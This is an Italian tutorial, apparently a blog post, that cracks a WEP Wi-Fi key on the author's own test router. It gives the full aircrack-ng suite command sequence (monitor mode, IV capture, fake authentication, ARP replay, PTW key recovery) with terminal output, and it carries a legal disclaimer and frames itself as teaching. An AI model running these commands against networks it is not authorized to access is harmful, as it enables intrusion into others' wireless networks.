Questo articolo è per scopi didattici, farlo su reti in cui non si hanno autorizzazioni è illegale (articolo 615-ter del codice penale italiano).
Se avete letto la pagina sul wireless, vi sarete fatti un’idea di come funziona il WEP e di come è facilmente violabile in quanto vecchio e vulnerabile per definizione stessa. Vedremo dettagliatamente come poter entrare in una rete protetta da WEP , anche se è una protezione ormai usata da pochi modem (e se la usate, vi consiglio di cambiarla subito in WPA2).
Aircrack-ng è un programma utilizzato per craccare le chiavi dell'802.11 WEP e WPA/WPA2-PSK. Può recuperare le chiavi WEP da pacchetti crittografati che sono stati catturati con airodump-ng (l’esempio che vedremo appunto in questo articolo). Per craccare le chiavi condivise WPA/WPA2 c’è invece bisogno di una lista di parole o si può usare airolib-ng.
Per vedere la pagina di aiuto di Aircrack basta digitare
aircrack-ng --help
----oppure ancor più dettagliato---
man aircrack-ng
Ha molte opzioni, alcune specifiche per determinati attacchi (WEP,WPA/WPA2-PSK) e altre più generali. Ogni passo che farò cercherò di spiegarlo al meglio, in modo che potrete provare passo passo, e tentare altre strade (non è ovviamente l’unica)
Per prima cosa digito:
ifconfig
per capire quale interfaccia è libera da poter modificare e iniziare il monitoraggio della rete.
root@kali:~# ifconfig
eth0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
ether 00:[..]:2a txqueuelen 1000 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10
loop txqueuelen 1 (Local Loopback)
RX packets 24 bytes 1440 (1.4 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 24 bytes 1440 (1.4 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
ether 00:[..]:0e txqueuelen 1000 (Ethernet)
RX packets 5945 bytes 4767533 (4.5 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4937 bytes 914927 (893.4 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Scelgo wlan0 e inizio la modalità monitor:
airmon-ng start wlan0
Airmon-ng è uno script in Posix scritto apposta per trasformare la modalità della scheda di rete in monitor mode.
Se il programma da errore (dicendo che è occupata da qualche processo), basta digitare:
airmon-ng check kill
e ripetere il comando di prima. Il risultato, digitando ancora ifconfig, sarà:
wlan0mon: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
unspec 00:[..]:0E txqueuelen 1000 (UNSPEC)
RX packets 927 bytes 107988 (105.4 KiB)
RX errors 0 dropped 927 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Come vedere wlan0 non esiste più ed è stata sostituita da wlan0mon.
Inizio a catturare i dati che passano per la rete designata:
root@kali:~# airodump-ng --ivs --write capture wlan0mon --channel 6
CH 6 ][ Elapsed: 4 mins ][ 2016-03-19 11:12
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
E8:[..]:F9 -69 0 2858 59117 169 6 54e. WEP WEP TP-LINK_2.4GHz
BSSID STATION PWR Rate Lost Frames Probe
(not associated) 48:[..]:10 -85 0 - 1 0 8
E8:[..]:F9 F0:[..]:00 -32 48e-24e 0 68176
E8:[..]:F9 88:[..]:94 -25 36e- 1e 0 624
Airodump è un tool creato appositamente per catturare pacchetti e passarli poi ad Aircrack. Le opzioni che ho inserito sono:
Mi raccomando: per avere la certezza di intercettare la chiave, nella colonna #Data ci devono essere un minimo di 50000 IVS.
Ora cerco di inviare una richiesta di autenticazione al modem
root@kali:~# aireplay-ng -1 0 -e TP-LINK_2.4GHz -a E8:[..]:F9 -h 00:[..]:0e wlan0mon
11:12:58 Waiting for beacon frame (BSSID: E8:[..]:F9) on channel 6
11:12:58 Sending Authentication Request (Open System) [ACK]
11:12:58 Authentication successful
11:12:58 Sending Association Request [ACK]
11:12:58 Association successful :-) (AID: 1)
Aireplay invia i pacchetti nella rete wireless per generate traffico e cerca di autenticarsi al target, i comandi passati sono:
Leggo i pacchetti in cerca di richieste ARP e ACK, inviando pacchetti a mia volta:
root@kali:~# aireplay-ng -3 -b E8:[..]:F9 -h 00:[..]:0e wlan0mon
11:18:37 Waiting for beacon frame (BSSID: E8:94:F6:ED:9E:F9) on channel 6
Saving ARP requests in replay_arp-0319-111837.cap
You should also start airodump-ng to capture replies.
Read 2575198 packets (got 582788 ARP requests and 326799 ACKs), sent 393079 packets...(500 pps)
Ora aireplay deve leggere i pacchetti catturati e inviare altri pacchetti:
L’ultima fase serve per decriptare il file che abbiamo ottenuto, e lo facciamo con aircrack
root@kali:~# aircrack-ng -s capture.ivs
Opening capture.ivs
Read 59126 packets.
# BSSID ESSID Encryption
1 E8:[..]:F9 TP-LINK_2.4GHz WEP (59125 IVs)
Opening capture.ivs
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 59125 ivs.
Aircrack-ng 1.2 rc4
[00:00:07] Tested 457003 keys (got 2898 IVs)
KB depth byte(vote)
0 69/ 83 FE(3584) 0E(3328) 11(3328) 2E(3328) 42(3328) 49(3328) 4A(3328) 55(3328) 73(3328) 80(3328) 82(3328)
1 38/ 1 F8(4096) 0D(3840) 25(3840) 2B(3840) 39(3840) 45(3840) 47(3840) 7A(3840) DE(3840) EE(3840) 02(3584)
2 15/ 2 FA(4352) 0D(4096) 0F(4096) 21(4096) 3E(4096) 46(4096) 4A(4096) 5A(4096) 8B(4096) 98(4096) F3(4096)
3 1/ 13 F0(6400) 97(5120) 1C(4864) 52(4864) 65(4864) C0(4864) DB(4864) EE(4864) 13(4608) 33(4608) C2(4608)
4 8/ 31 D6(4864) 39(4608) 46(4608) 57(4608) B7(4608) CD(4608) 07(4352) 40(4352) 5C(4352) 97(4352) DB(4352)
KEY FOUND! [ 31:32:33:34:35 ] (ASCII: 12345 )
Decrypted correctly: 100%
Ed ecco che ha trovato la chiave, e per decrittarla ci ha messo circa 2 minuti (è semplce, con una più complessa ci metterà ovviamente di più).
Il passaggio più lento è quello di intercettazione dei dati, in base a quanti ne riceve il dispositivo sarà più o meno lungo. Fare questo tipo di esercizio è davvero banale, basta che impostate il vostro modem con sicurezza WEP, inserite una password scelta da voi (nel mio caso ho inserito 12345) e connettete un dispositivo qualsiasi. Con un altro computer seguite i passaggi (o Virtual Machine) e provate a capire ogni fase, magari tentando altre vie o metodi e studiando i tool introdotti a fondo (ricordatevi poi di reimpostare la sicurezza WPA/WPA2!).
Il titolo di questo mi sembra molto banale e clickbait, ma non mi è venuto in mente altro. Se avete idee per migliorarlo sarò lieto di farlo.